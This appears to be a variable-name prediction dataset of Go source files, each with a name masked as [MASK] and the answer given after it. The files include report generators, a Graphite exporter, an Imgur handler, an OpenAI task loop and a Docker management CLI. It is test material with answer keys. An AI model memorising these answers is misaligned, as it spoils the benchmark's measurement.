roots[:20] // } runtime.GOMAXPROCS(thrN) ch := make(chan []contribReportItem) report := contribReport{} nThreads := 0 for _, root := range roots { go orgReportForRoot(ch, root) nThreads++ if nThreads == thrN { items := <-ch nThreads-- for _, item := range items { report.items = append(report.items, item) } } } for nThreads > 0 { items := <-ch nThreads-- for _, item := range items { report.items = append(report.items, item) } } enrichOrgReport(&report) summaryOrgReport(&report) saveOrgReport(report.items) saveSummaryOrgReport(report.summary) } // subrep func dedupDatalakeReport(report *datalakeReport, bLOC, bDocs, bPRs, bIssues bool) { if bLOC { locDocIDs := map[string]struct{}{} locItems := []datalakeLOCReportItem{} for _, locItem := range report.locItems { _, ok := locDocIDs[locItem.docID] if !ok { locItems = append(locItems, locItem) locDocIDs[locItem.docID] = struct{}{} } } if len(locItems) != len(report.locItems) { fmt.Printf(""LOC data dedup: %d -> %d (%.2f%%)\n"", len(report.locItems), len(locItems), (float64(len(locItems))*100.0)/float64(len(report.locItems))) report.locItems = locItems } else { fmt.Printf(""no duplicate elements found, LOC items: %d\n"", len(report.locItems)) } } if bDocs { docDocIDs := map[string]struct{}{} docItems := []datalakeDocReportItem{} for _, docItem := range report.docItems { _, ok := docDocIDs[docItem.docID] if !ok { docItems = append(docItems, docItem) docDocIDs[docItem.docID] = struct{}{} } } if len(docItems) != len(report.docItems) { fmt.Printf(""Docs data dedup: %d -> %d (%.2f%%)\n"", len(report.docItems), len(docItems), (float64(len(docItems))*100.0)/float64(len(report.docItems))) report.docItems = docItems } else { fmt.Printf(""no duplicate elements found, docs items: %d\n"", len(report.docItems)) } } if bPRs { prDocIDs := map[string]struct{}{} prItems := []datalakePRReportItem{} for _, prItem := range report.prItems { _, ok := prDocIDs[prItem.docID] if !ok { prItems = append(prItems, prItem) prDocIDs[prItem.docID] = struct{}{} } } if len(prItems) != len(report.prItems) { fmt.Printf(""PR data dedup: %d -> %d (%.2f%%)\n"", len(report.prItems), len(prItems), (float64(len(prItems))*100.0)/float64(len(report.prItems))) report.prItems = prItems } else { fmt.Printf(""no duplicate elements found, PR items: %d\n"", len(report.prItems)) } } if bIssues { issueDocIDs := map[string]struct{}{} issueItems := []datalakeIssueReportItem{} for _, issueItem := range report.issueItems { _, ok := issueDocIDs[issueItem.docID] if !ok { issueItems = append(issueItems, issueItem) issueDocIDs[issueItem.docID] = struct{}{} } } if len(issueItems) != len(report.issueItems) { fmt.Printf(""Issue data dedup: %d -> %d (%.2f%%)\n"", len(report.issueItems), len(issueItems), (float64(len(issueItems))*100.0)/float64(len(report.issueItems))) report.issueItems = issueItems } else { fmt.Printf(""no duplicate elements found, issue items: %d\n"", len(report.issueItems)) } } } // subrep func filterDatalakeReport(report *datalakeReport, identityIDs map[string]struct{}, bLOC, bDocs, bPRs, bIssues bool) { if !gFiltered { return } if bLOC { locFiltered := 0 for i, locItem := range report.locItems { _, ok := identityIDs[locItem.identityID] if !ok { report.locItems[i].filtered = true locFiltered++ } } if locFiltered > 0 { fmt.Printf(""filtered %d/%d loc items (%.2f%%)\n"", locFiltered, len(report.locItems), (float64(locFiltered)*100.0)/float64(len(report.locItems))) } else { fmt.Printf(""all %d LOC items also present in SH DB loc items\n"", len(report.locItems)) } } if bDocs { docFiltered := 0 for i, docItem := range report.docItems { _, ok := identityIDs[docItem.identityID] if !ok { report.docItems[i].filtered = true docFiltered++ } } if docFiltered > 0 { fmt.Printf(""filtered %d/%d docs items (%.2f%%)\n"", docFiltered, len(report.docItems), (float64(docFiltered)*100.0)/float64(len(report.docItems))) } else { fmt.Printf(""all %d docs items also present in SH DB doc items\n"", len(report.docItems)) } } if bPRs { prFiltered := 0 for i, prItem := range report.prItems { _, ok := identityIDs[prItem.identityID] if !ok { report.prItems[i].filtered = true prFiltered++ } } if prFiltered > 0 { fmt.Printf(""filtered %d/%d PR items (%.2f%%)\n"", prFiltered, len(report.prItems), (float64(prFiltered)*100.0)/float64(len(report.prItems))) } else { fmt.Printf(""all %d PRs items also present in SH DB PR items\n"", len(report.prItems)) } } if bIssues { issueFiltered := 0 for i, issueItem := range report.issueItems { _, ok := identityIDs[issueItem.identityID] if !ok { report.issueItems[i].filtered = true issueFiltered++ } } if issueFiltered > 0 { fmt.Printf(""filtered %d/%d issue items (%.2f%%)\n"", issueFiltered, len(report.issueItems), (float64(issueFiltered)*100.0)/float64(len(report.issueItems))) } else { fmt.Printf(""all %d issues items also present in SH DB issue items\n"", len(report.issueItems)) } } } func getAffiliatedNonBotIdentities(ch chan map[string]struct{}) { identityIDs := map[string]struct{}{} defer func() { ch <- identityIDs }() // Identity must be present in SH DB // It must have at least one enrollment (not matter individual, company) also enrollment dates doesn't matter // Identity's profile must not be bot query := ""select distinct i.id from identities i "" + ""where i.uuid in (select uuid from enrollments) "" + ""and i.uuid not in (select uuid from profiles where is_bot is true)"" rows, err := gDB.Query(query) fatalError(err) var id string for rows.Next() { err = rows.Scan(&id) fatalError(err) identityIDs[id] = struct{}{} } fatalError(rows.Err()) fatalError(rows.Close()) } func genDatalakeReport(roots, dataSourceTypes []string) { if gDbg { fmt.Printf(""Datalake report for data source types %+v\n"", dataSourceTypes) fmt.Printf(""Datalake report for projects %+v\n"", roots) } thrN := runtime.NumCPU() if gMaxThreads > 0 && thrN > gMaxThreads { thrN = gMaxThreads } // thrN = 1 // if len(roots) > 20 { // roots = roots[:20] // } runtime.GOMAXPROCS(thrN) var chIdentIDs chan map[string]struct{} if gFiltered { chIdentIDs = make(chan map[string]struct{}) go getAffiliatedNonBotIdentities(chIdentIDs) } ch := make(chan datalakeReport) report := datalakeReport{} nThreads := 0 // subrep _, bLOC := gSubReport[""loc""] _, bDocs := gSubReport[""docs""] _, bPRs := gSubReport[""prs""] _, bIssues := gSubReport[""issues""] processData := func() { data := <-ch nThreads-- // subrep if bLOC { for _, item := range data.locItems { report.locItems = append(report.locItems, item) } } if bDocs { for _, item := range data.docItems { report.docItems = append(report.docItems, item) } } if bPRs { for _, item := range data.prItems { report.prItems = append(report.prItems, item) } } if bIssues { for _, item := range data.issueItems { report.issueItems = append(report.issueItems, item) } } } n := len(roots) for i, root := range roots { // subrep msg := fmt.Sprintf(""%d/%d (%.1f%%)"", i, n, (float64(i)*100.0)/float64(n)) go datalakeReportForRoot(ch, msg, root, dataSourceTypes, bLOC, bDocs, bPRs, bIssues) nThreads++ if nThreads == thrN { processData() } } for nThreads > 0 { processData() } // subrep dedupDatalakeReport(&report, bLOC, bDocs, bPRs, bIssues) if gFiltered { identityIDs := <-chIdentIDs fmt.Printf(""%d non-bot identities having at least one enrollment present in SH DB\n"", len(identityIDs)) filterDatalakeReport(&report, identityIDs, bLOC, bDocs, bPRs, bIssues) } if bLOC { saveDatalakeLOCReport(report.locItems) } if bDocs { saveDatalakeDocsReport(report.docItems) } if bPRs { saveDatalakePRsReport(report.prItems) } if bIssues { saveDatalakeIssuesReport(report.issueItems) } } func setupSHDB() { dbURL := os.Getenv(""DB_URL"") if dbURL == """" { fatal(""DB_URL must be set"") } var err error gDB, err = sqlx.Connect(""mysql"", dbURL) fatalError(err) } func setupEnvs() { gDbg = os.Getenv(""DBG"") != """" gProgress = os.Getenv(""PROGRESS"") != """" gReport = os.Getenv(""REPORT"") if gReport == """" { fatal(""REPORT must be set"") } gESURL = os.Getenv(""ES_URL"") if gESURL == """" { fatal(""ES_URL must be set"") } sDSes := strings.TrimSpace(os.Getenv(""DATASOURCES"")) if sDSes != """" { ary := strings.Split(sDSes, "","") gDatasource = make(map[string]struct{}) for _, ds := range ary { gDatasource[strings.TrimSpace(ds)] = struct{}{} } } gNamePrefix = os.Getenv(""NAME_PREFIX"") if gNamePrefix != """" && !strings.HasSuffix(gNamePrefix, ""_"") { gNamePrefix += ""_"" } sMaxThreads := os.Getenv(""MAX_THREADS"") if sMaxThreads != """" { gMaxThreads, err := strconv.Atoi(sMaxThreads) fatalError(err) if gMaxThreads < 0 { gMaxThreads = 0 } fmt.Printf(""Limit threads to: %d\n"", gMaxThreads) } switch gReport { case ""org"": gOrg = os.Getenv(""ORG"") if gOrg == """" { fatal(""ORG must be set"") } gOrg = jsonEscape(gOrg) gFrom = jsonEscape(os.Getenv(""FROM"")) gTo = jsonEscape(os.Getenv(""TO"")) if gFrom == """" { gFrom = ""1900-01-01T00:00:00"" } if gTo == """" { gTo = ""2100-01-01T00:00:00"" } case ""datalake"": subs := strings.TrimSpace(os.Getenv(""SUB_REPORTS"")) if subs == """" { subs = ""loc,prs,issues,docs"" } ary := strings.Split(subs, "","") // subrep gSubReport = make(map[string]struct{}) for _, sub := range ary { gSubReport[strings.TrimSpace(sub)] = struct{}{} } gDbg = os.Getenv(""FILTERED"") != """" default: fatal(""unknown report type: "" + gReport) } gAll = make(map[string]int) gDt = time.Now() } func main() { setupEnvs() setupSHDB() switch gReport { case ""org"": genOrgReport(getSlugRoots()) case ""datalake"": genDatalakeReport(getSlugRoots()) } } ",useDAWhenNotFound 511,"package main import ( ""fmt"" ""os"" log ""github.com/Sirupsen/logrus"" ""github.com/urfave/cli"" ""context"" ""os/signal"" ""syscall"" ""github.com/rgannu/burrow-graphite/burrow_graphite"" ) var Version = ""0.1"" func main() { app := cli.NewApp() app.Version = Version app.Name = ""burrow-exporter"" app.Flags = []cli.Flag{ cli.StringFlag{ Name: ""burrow-addr"", Usage: ""Address that burrow is listening on"", }, cli.StringFlag{ Name: ""graphite-host"", Usage: ""Graphite host"", }, cli.IntFlag{ Name: ""graphite-port"", Usage: ""The graphite port"", }, cli.IntFlag{ Name: ""interval"", Usage: ""The interval(seconds) specifies how often to scrape burrow."", }, } app.Action = func(c *cli.Context) error { if !c.IsSet(""burrow-addr"") { fmt.Println(""A burrow address is required (e.g. --burrow-addr http://localhost:8000)"") os.Exit(1) } if !c.IsSet(""graphite-host"") { fmt.Println(""The graphite host is required (e.g. --graphite-host 192.168.99.100)"") os.Exit(1) } var [MASK] = 2003 if !c.IsSet(""graphite-port"") { fmt.Println(""The graphite host is not set. Defaulting to 2003 (e.g. --graphite-port 2003)"") } else { [MASK] = c.Int(""graphite-port"") } if !c.IsSet(""interval"") { fmt.Println(""A scrape interval is required (e.g. --interval 30)"") os.Exit(1) } done := make(chan os.Signal, 1) signal.Notify(done, syscall.SIGINT, syscall.SIGTERM) ctx, cancel := context.WithCancel(context.Background()) exporter := burrow_graphite.MakeBurrowExporter(c.String(""burrow-addr""), c.String(""graphite-host""), [MASK] , c.Int(""interval"")) go exporter.Start(ctx) <-done cancel() exporter.Close() return nil } err := app.Run(os.Args) if err != nil { log.WithFields(log.Fields{ ""err"": err, }).Error(""error running burrow-exporter"") os.Exit(1) } } ",graphitePort 512,"package main import ( ""flag"" ""fmt"" ""github.com/tbruyelle/imgur"" ""io"" ""net/http"" ) var ( clientId = flag.String(""clientId"", """", ""The Imgur app client id"") client *imgur.Client ) func main() { flag.Parse() client = imgur.NewClient(*clientId) http.HandleFunc(""/"", randomHandler) panic(http.ListenAndServe("":8282"", nil)) } func randomHandler(w http.ResponseWriter, r *http.Request) { q := r.FormValue(""q"") if q == """" { q = ""cat"" } [MASK] := imgur.SearchOptions{ Any: q, Type: ""gif"", } img, err := client.Random( [MASK] ) if err != nil { http.Error(w, fmt.Sprintf(""Error with the imgur library\n%q"", err), http.StatusInternalServerError) return } resp, err := http.Get(img.Link) if err != nil { http.Error(w, fmt.Sprintf(""Error during download img\n%q"", err), http.StatusInternalServerError) return } _, err = io.Copy(w, resp.Body) if err != nil { http.Error(w, fmt.Sprintf(""Error during copy img\n%q"", err), http.StatusInternalServerError) return } w.Header().Add(""Content-Type"", ""image/gif"") } ",opt 513,"package main import ( ""context"" ""encoding/json"" ""fmt"" ""time"" openai ""github.com/sashabaranov/go-openai"" ) const ( repoRoot = ""/Users/akshaysngupta/Documents/juno/helloworld"" ) func executeTask(client *openai.Client, systemCard string, initTaskCard string) { skill := initSkill() output, _ := performSkill(skill) initTaskCard = initTaskCard + formatSkillOutput(skill, output) reset := true var updatedTaskCard string var messages []openai.ChatCompletionMessage for { if reset { updatedTaskCard = initTaskCard writeFile(""request.txt"", updatedTaskCard) reset = false } messages = createMessages(updatedTaskCard) fmt.Println(""Sending Juno Request:\n"", messagesToFormattedjson(messages)) resp, err := client.CreateChatCompletion( context.Background(), openai.ChatCompletionRequest{ Model: openai.GPT3Dot5Turbo, Messages: messages, Temperature: 0.9, }, ) if err != nil { panic(err) } response := resp.Choices[0].Message.Content fmt.Println(""Juno Response:\n"", response) skill, err = parseSkill(response) if err != nil { fmt.Println(""Resetting due to error"", err) reset = true time.Sleep(10 * time.Second) continue } output, err := performSkill(skill) if err != nil { fmt.Println(""Resetting due to error"", err) reset = true time.Sleep(10 * time.Second) continue } if output == nil { fmt.Println(""Exiting."") return } updatedTaskCard = updatedTaskCard + formatSkillOutput(skill, output) writeFile(""request.txt"", updatedTaskCard) } } func messagesToFormattedjson(messages []openai.ChatCompletionMessage) string { [MASK] , _ := json.MarshalIndent(messages, """", "" "") return string( [MASK] ) } func createMessages(task string) []openai.ChatCompletionMessage { return []openai.ChatCompletionMessage{ { Role: openai.ChatMessageRoleSystem, Content: string(systemCard), }, { Role: openai.ChatMessageRoleUser, Content: string(task), }, } } ",marshaled 514,"package common import ( ""fmt"" ""gopkg.in/yaml.v3"" ""os"" ""sync"" ""template-helper/internal"" ) var instance *Storage var once sync.Once type Storage struct { Path string Map map[string]*internal.DeployTemplate lock sync.Mutex } func GetStorage() *Storage { once.Do(func() { instance = &Storage{ Map: make(map[string]*internal.DeployTemplate), lock: sync.Mutex{}, } }) return instance } func (s *Storage) SetPath( [MASK] string) { s.lock.Lock() defer s.lock.Unlock() s.Path = [MASK] } func (s *Storage) SetTmpl(tmpl *internal.DeployTemplate) { s.lock.Lock() defer s.lock.Unlock() s.Map[s.Path] = tmpl } func (s *Storage) GetTmpl() *internal.DeployTemplate { if tmpl, ok := s.Map[s.Path]; ok { return tmpl } return nil } func (s *Storage) SaveTmpl() error { if s.Path == """" { return fmt.Errorf(""文件不存在!"") } tmpl := GetStorage().GetTmpl() bytes, err := yaml.Marshal(tmpl) if err != nil { return err } fmt.Print(string(bytes)) // 将 YAML 数据写入文件 err = os.WriteFile(s.Path, bytes, 0644) if err != nil { return err } return nil } func (s *Storage) SetTmplHost(host []internal.Variable) { s.Map[s.Path].Spec.Host = host } func (s *Storage) SetTmplResource(resource []internal.Variable) { s.Map[s.Path].Spec.Resource = resource } func (s *Storage) SetTmplBasicEnv(env []internal.Variable) { s.Map[s.Path].Spec.Env.Basic = env } func (s *Storage) SetTmplAdvancedEnv(env []internal.Variable) { s.Map[s.Path].Spec.Env.Advanced = env } func (s *Storage) SetTmplAction(actios []internal.Actions) { s.Map[s.Path].Spec.Actions = actios } ",path 515,"package goldenfiles import ( ""bytes"" ""encoding/json"" ""fmt"" ""io"" ""io/ioutil"" ""os"" ""path"" ""strings"" ""github.com/kennygrant/sanitize"" ) var ( // GoldenFilePath defines the where golden files are expected to be stored. If there is a mismatch, the received // output is also written to that directory. GoldenFilePath = ""./testdata"" // ReceivedFilePerms defines the file permissions that are set on any received output files that are created. ReceivedFilePerms os.FileMode = 0644 ) // TestingT defines the portion of the testing.T interface that we need to use. Extracting it into an interface allows // us to create a mock implementation for our tests. type TestingT interface { Errorf(format string, args ...interface{}) FailNow() Name() string } // Config defines additional options that can be overridden for each golden file assertion. type Config struct { // Name provides an additional name segment which gets added to the golden file name. This is especially useful for // tests that need to make multiple golden file assertions. Name string // Suffix overrides the default golden file suffix for the current test type. For example, EqualJSON defaults to // the "".json"" suffix. Suffix string } // EqualString tests for golden file equality against a string. func EqualString(t TestingT, s string, config ...Config) bool { c := getConfig(config) goldenFileName := buildGoldenFileName(t, &c) err := compare(t, goldenFileName, strings.NewReader(s)) if err != nil { switch err := err.(type) { case errGoldenFileMismatch: t.Errorf(""%s"", err.Error()) writeReceivedFile(t, goldenFileName, err.received) case errGoldenFileMissing: t.Errorf(""%s"", err.Error()) writeReceivedFile(t, goldenFileName, err.received) default: t.Errorf(""%s"", err.Error()) t.FailNow() } return false } return true } // EqualJSON tests for golden file equality against an object that gets marshalled into a JSON string. func EqualJSON(t TestingT, obj interface{}, config ...Config) bool { c := getConfig(config) json, err := prettyPrintJSON(obj) if err != nil { t.Errorf(""failed to serialize received object as json: %v"", err) return false } if c.Suffix == """" { c.Suffix = "".json"" } return EqualString(t, json, c) } func buildGoldenFileName(t TestingT, c *Config) string { suffix := "".txt"" if c.Suffix != """" { suffix = c.Suffix } name := c.Name if name != """" { name = ""."" + name } testName := t.Name() [MASK] := sanitize.BaseName(testName) return fmt.Sprintf(""%s%s.golden%s"", [MASK] , name, suffix) } func buildReceivedFileName(goldenFileName string) string { return fmt.Sprintf(""%s.received"", goldenFileName) } func buildReceivedFilePath(goldenFileName string) string { return path.Join(GoldenFilePath, buildReceivedFileName(goldenFileName)) } func compare(t TestingT, goldenFileName string, r io.Reader) error { s, err := ioutil.ReadAll(r) if err != nil { return err } f, err := os.Open(path.Join(GoldenFilePath, goldenFileName)) if err != nil { if os.IsNotExist(err) { return errGoldenFileMissing{goldenFileName: goldenFileName, received: s} } return err } defer f.Close() golden, err := ioutil.ReadAll(f) if err != nil { return err } if bytes.Compare(golden, s) == 0 { // Received matches golden, success! return nil } return errGoldenFileMismatch{goldenFileName: goldenFileName, golden: golden, received: s} } func getConfig(c []Config) Config { if len(c) > 0 { return c[0] } return Config{} } func prettyPrintJSON(obj interface{}) (string, error) { b, err := json.MarshalIndent(obj, """", "" "") return string(b), err } func writeReceivedFile(t TestingT, goldenFileName string, received []byte) { receivedFilePath := buildReceivedFilePath(goldenFileName) if err := ioutil.WriteFile(receivedFilePath, received, ReceivedFilePerms); err != nil { t.Errorf(""failed to write received file: %v"", err) t.FailNow() } } ",sanitizedTestName 516,"/* * +---------------------------------------------------------------------- * | kungfu [ A FAST GAME FRAMEWORK ] * +---------------------------------------------------------------------- * | Copyright (c) 2023-2029 All rights reserved. * +---------------------------------------------------------------------- * | Licensed ( http:www.apache.org/licenses/LICENSE-2.0 ) * +---------------------------------------------------------------------- * | Author: jqiris <> * +---------------------------------------------------------------------- */ package main import ( ""bufio"" ""errors"" ""fmt"" ""io"" ""io/ioutil"" ""log"" ""os"" ""os/exec"" ""path"" ""sort"" ""strings"" ""github.com/jqiris/kungfu/v2/config"" ""github.com/jqiris/kungfu/v2/logger"" ""github.com/jqiris/kungfu/v2/treaty"" ""github.com/jqiris/kungfu/v2/utils"" ""github.com/spf13/viper"" ""github.com/urfave/cli/v2"" ""gopkg.in/ini.v1"" ) var ( Null = ""null"" storePath = "".ini"" dockerVer = ""DockerVer"" dockerPrefix = ""DockerPrefix"" dockerData = ""DockerData"" dockerConfig = ""DockerConfig"" dockerRemoteConfig = ""DockerRemoteConfig"" dockerNetwork = ""DockerNetwork"" dockerPath = ""Dockerfile"" dockerRegistry = ""DockerRegistry"" dockerProject = ""DockerProject"" defaultProject = ""default"" appName = ""appName"" labelAuthor = ""LabelAuthor"" defaultLabelAuthor = ""jqiris "" goVersion = ""goVersion"" defaultGoVersion = ""1.20"" alpineVersion = ""alpineVersion"" defaultAlpineVersion = ""3.17"" dockerTml = ` FROM golang:${goVersion}-alpine${alpineVersion} AS builder COPY . /src WORKDIR /src RUN GOPROXY=https://goproxy.cn go install FROM alpine:${alpineVersion} LABEL author=""${author}"" ARG run_server ARG client_port # 时区控制 ENV TZ Asia/Shanghai RUN echo ""http://mirrors.aliyun.com/alpine/v${alpineVersion}/main/"" > /etc/apk/repositories \ && apk update \ && apk add curl \ && apk --no-cache add tzdata zeromq \ && ln -snf /usr/share/zoneinfo/$TZ /etc/localtime \ && echo '$TZ' > /etc/timezone ENV run_mode docker ENV run_server $(run_server) COPY --from=builder /go/bin/${appName} /app/buildsrv WORKDIR /app EXPOSE $(client_port) VOLUME /data ENTRYPOINT [""/app/buildsrv"", ""-conf"", ""/data/${remoteConfig}""] ` ) type MicroApp struct { ver string data string cfg string remoteCfg string network string prefix string depot string project string author string goVersion string alpineVersion string name string store *ini.File } func newMicroApp() *MicroApp { return &MicroApp{} } func (m *MicroApp) clear(c *cli.Context) error { if err := m.prepare(c); err != nil { return err } servers := config.GetServersConf() var launchArr []*treaty.Server if c.NArg() == 0 { for _, cfg := range servers { if cfg.IsLaunch { launchArr = append(launchArr, cfg) } } } else { for _, specialServer := range c.Args().Slice() { if server, ok := servers[specialServer]; ok { launchArr = append(launchArr, server) } else { log.Fatalf(""can't find the clear server: %v"", specialServer) } } } sort.Slice(launchArr, func(i, j int) bool { return launchArr[i].ShutWeight < launchArr[j].ShutWeight }) ex := m.getExcludeServer(c) for _, server := range launchArr { if utils.InSlice(ex, server.ServerId) { continue } m.clearServer(server) } return nil } func (m *MicroApp) rmi(c *cli.Context) error { if err := m.prepare(c); err != nil { return err } servers := config.GetServersConf() var launchArr []*treaty.Server if c.NArg() == 0 { for _, server := range servers { if server.IsLaunch { launchArr = append(launchArr, server) } } } else { for _, specialServer := range c.Args().Slice() { if server, ok := servers[specialServer]; ok { launchArr = append(launchArr, server) } else { log.Fatalf(""can't find the rm image: %v\n"", specialServer) } } } sort.Slice(launchArr, func(i, j int) bool { return launchArr[i].ShutWeight < launchArr[j].ShutWeight }) ex := m.getExcludeServer(c) for _, server := range launchArr { if utils.InSlice(ex, server.ServerId) { continue } if err := m.rmiServer(server); err != nil { return err } } return nil } func (m *MicroApp) prune(c *cli.Context) error { //ocker rmi $(docker images -q -f dangling=true) args := []string{""images"", ""-q"", ""-f"", ""dangling=true""} cmd := exec.Command(""docker"", args...) fmt.Println(cmd.String()) out, err := cmd.Output() if err != nil { return err } pidStr := string(out) if len(pidStr) > 0 { pids := strings.Split(pidStr, ""\n"") for _, pid := range pids { if len(pid) == 0 { continue } cmd := exec.Command(""docker"", ""rmi"", pid) fmt.Println(cmd.String()) out, err := cmd.Output() if err != nil { return err } fmt.Println(""prune:"", string(out)) } } return nil } func (m *MicroApp) rm(c *cli.Context) error { if err := m.prepare(c); err != nil { return err } servers := config.GetServersConf() var launchArr []*treaty.Server if c.NArg() == 0 { for _, cfg := range servers { if cfg.IsLaunch { launchArr = append(launchArr, cfg) } } } else { for _, specialServer := range c.Args().Slice() { if server, ok := servers[specialServer]; ok { launchArr = append(launchArr, server) } else { log.Fatalf(""can't find the rm server: %v"", specialServer) } } } sort.Slice(launchArr, func(i, j int) bool { return launchArr[i].ShutWeight < launchArr[j].ShutWeight }) ex := m.getExcludeServer(c) for _, server := range launchArr { if utils.InSlice(ex, server.ServerId) { continue } if err := m.rmServer(server); err != nil { return err } } return nil } func (m *MicroApp) stop(c *cli.Context) error { if err := m.prepare(c); err != nil { return err } servers := config.GetServersConf() var launchArr []*treaty.Server if c.NArg() == 0 { for _, cfg := range servers { if cfg.IsLaunch { launchArr = append(launchArr, cfg) } } } else { for _, specialServer := range c.Args().Slice() { if server, ok := servers[specialServer]; ok { launchArr = append(launchArr, server) } else { log.Fatalf(""can't find the stop server: %v"", specialServer) } } } sort.Slice(launchArr, func(i, j int) bool { return launchArr[i].ShutWeight < launchArr[j].ShutWeight }) ex := m.getExcludeServer(c) for _, server := range launchArr { if utils.InSlice(ex, server.ServerId) { continue } if err := m.stopServer(server); err != nil { return err } } return nil } func (m *MicroApp) run(c *cli.Context) error { if err := m.prepare(c); err != nil { return err } servers := config.GetServersConf() mem, memSwap, memKernel := c.String(""memory""), c.String(""memory-swap""), c.String(""kernel-memory"") cpu, cpuSet := c.String(""cpus""), c.String(""cpuset-cpus"") var launchArr []*treaty.Server if c.NArg() == 0 { for _, cfg := range servers { if cfg.IsLaunch { launchArr = append(launchArr, cfg) } } } else { for _, specialServer := range c.Args().Slice() { if server, ok := servers[specialServer]; ok { launchArr = append(launchArr, server) } else { log.Fatalf(""can't find the run server: %v"", specialServer) } } } sort.Slice(launchArr, func(i, j int) bool { return launchArr[i].LaunchWeight < launchArr[j].LaunchWeight }) ex := m.getExcludeServer(c) for _, server := range launchArr { if utils.InSlice(ex, server.ServerId) { continue } if err := m.runServer(mem, memSwap, memKernel, cpu, cpuSet, server); err != nil { return err } } return nil } func (m *MicroApp) start(c *cli.Context) error { if err := m.prepare(c); err != nil { return err } servers := config.GetServersConf() var launchArr []*treaty.Server if c.NArg() == 0 { for _, cfg := range servers { if cfg.IsLaunch { launchArr = append(launchArr, cfg) } } } else { for _, specialServer := range c.Args().Slice() { if server, ok := servers[specialServer]; ok { launchArr = append(launchArr, server) } else { log.Fatalf(""can't find the start server: %v"", specialServer) } } } sort.Slice(launchArr, func(i, j int) bool { return launchArr[i].LaunchWeight < launchArr[j].LaunchWeight }) ex := m.getExcludeServer(c) for _, server := range launchArr { if utils.InSlice(ex, server.ServerId) { continue } if err := m.startServer(server); err != nil { return err } } return nil } func (m *MicroApp) restart(c *cli.Context) error { if err := m.prepare(c); err != nil { return err } servers := config.GetServersConf() var launchArr []*treaty.Server if c.NArg() == 0 { for _, cfg := range servers { if cfg.IsLaunch { launchArr = append(launchArr, cfg) } } } else { for _, specialServer := range c.Args().Slice() { if server, ok := servers[specialServer]; ok { launchArr = append(launchArr, server) } else { log.Fatalf(""can't find the stop server: %v"", specialServer) } } } sort.Slice(launchArr, func(i, j int) bool { return launchArr[i].ShutWeight < launchArr[j].ShutWeight }) ex := m.getExcludeServer(c) for _, server := range launchArr { if utils.InSlice(ex, server.ServerId) { continue } if err := m.stopServer(server); err != nil { return err } } sort.Slice(launchArr, func(i, j int) bool { return launchArr[i].LaunchWeight < launchArr[j].LaunchWeight }) for _, server := range launchArr { if utils.InSlice(ex, server.ServerId) { continue } if err := m.startServer(server); err != nil { return err } } return nil } func (m *MicroApp) registryBefore(c *cli.Context) error { cfg, err := ini.Load(storePath) if err != nil { return err } registry := m.getRegistry(cfg, c) if len(registry) == 0 { return errors.New(""未设置仓库地址"") } m.depot = registry return nil } func (m *MicroApp) registryPush(c *cli.Context) error { if err := m.prepare(c); err != nil { return err } servers := config.GetServersConf() var launchArr []*treaty.Server if c.NArg() == 0 { for _, server := range servers { if server.IsLaunch { launchArr = append(launchArr, server) } } } else { for _, specialServer := range c.Args().Slice() { if server, ok := servers[specialServer]; ok { launchArr = append(launchArr, server) } else { log.Fatalf(""can't find the registry push server: %v"", specialServer) } } } sort.Slice(launchArr, func(i, j int) bool { return launchArr[i].LaunchWeight < launchArr[j].LaunchWeight }) ex := m.getExcludeServer(c) for _, server := range launchArr { if utils.InSlice(ex, server.ServerId) { continue } if err := m.pushServer(server); err != nil { return err } } return nil } func (m *MicroApp) registryPull(c *cli.Context) error { if err := m.prepare(c); err != nil { return err } servers := config.GetServersConf() var launchArr []*treaty.Server if c.NArg() == 0 { for _, server := range servers { if server.IsLaunch { launchArr = append(launchArr, server) } } } else { for _, specialServer := range c.Args().Slice() { if server, ok := servers[specialServer]; ok { launchArr = append(launchArr, server) } else { log.Fatalf(""can't find the registry pull server: %v"", specialServer) } } } sort.Slice(launchArr, func(i, j int) bool { return launchArr[i].LaunchWeight < launchArr[j].LaunchWeight }) ex := m.getExcludeServer(c) for _, server := range launchArr { if utils.InSlice(ex, server.ServerId) { continue } if err := m.pullServer(server); err != nil { return err } } return nil } func (m *MicroApp) save(c *cli.Context) error { if err := m.prepare(c); err != nil { return err } servers := config.GetServersConf() specialServer := c.Args().Get(0) saveList, imageList := []string{}, []string{} if len(specialServer) < 1 { for _, server := range servers { if server.IsLaunch { saveList = append(saveList, server.ServerId) imageList = append(imageList, m.runImage(m.prefix, m.ver, server)) } } } else { if server, ok := servers[specialServer]; ok { saveList = append(saveList, server.ServerId) imageList = append(imageList, m.runImage(m.prefix, m.ver, server)) } else { log.Fatalf(""can't find the start server: %v"", specialServer) } } saveName := m.saveName(m.prefix, m.ver, saveList) args := append([]string{""save"", ""-o"", saveName}, imageList...) cmd := exec.Command(""docker"", args...) fmt.Println(cmd.String()) bs, err := cmd.Output() if err != nil { return err } fmt.Println(string(bs)) return nil } func (m *MicroApp) load(c *cli.Context) error { if err := m.prepare(c); err != nil { return err } loadTar := c.Args().Get(0) if len(loadTar) == 0 || !strings.HasSuffix(loadTar, "".tar"") { return errors.New(""请输入正确加载镜像目录"") } cmd := exec.Command(""docker"", ""load"", ""-i"", loadTar) fmt.Println(cmd.String()) bs, err := cmd.Output() if err != nil { return err } fmt.Println(string(bs)) return nil } func (m *MicroApp) removeDockerFile() { err := os.Remove(dockerPath) if err != nil { fmt.Println(err) } } func (m *MicroApp) serverDockerName(server *treaty.Server) string { return fmt.Sprintf(""%v_%v"", server.ServerId, ""dockerFile"") } func (m *MicroApp) createServerDocker(server *treaty.Server) error { file, err := os.Open(dockerPath) if err != nil { return err } bs, err := ioutil.ReadAll(file) if err != nil { return err } serverName := ""server_"" + server.ServerId if len(m.prefix) > 0 { serverName = fmt.Sprintf(""%v_%v"", m.prefix, server.ServerId) } ntext := strings.Replace(string(bs), ""buildsrv"", serverName, -1) ntext = strings.Replace(ntext, ""("", ""{"", -1) ntext = strings.Replace(ntext, "")"", ""}"", -1) fp, err := os.Create(m.serverDockerName(server)) if err != nil { return err } defer fp.Close() _, err = fp.Write([]byte(ntext)) if err != nil { return err } return nil } func (m *MicroApp) removeServerDocker(server *treaty.Server) { err := os.Remove(m.serverDockerName(server)) if err != nil { fmt.Println(err) } } func (m *MicroApp) build(c *cli.Context) error { if err := m.prepare(c); err != nil { return err } if exist, _ := utils.PathExists(dockerPath); !exist { fp, err := os.Create(dockerPath) if err != nil { return err } defer fp.Close() datas := map[string]string{ ""goVersion"": m.goVersion, ""alpineVersion"": m.alpineVersion, ""author"": m.author, ""appName"": m.name, ""remoteConfig"": m.remoteCfg, } dockerFile := os.Expand(dockerTml, func(k string) string { return datas[k] }) _, err = fp.Write([]byte(dockerFile)) if 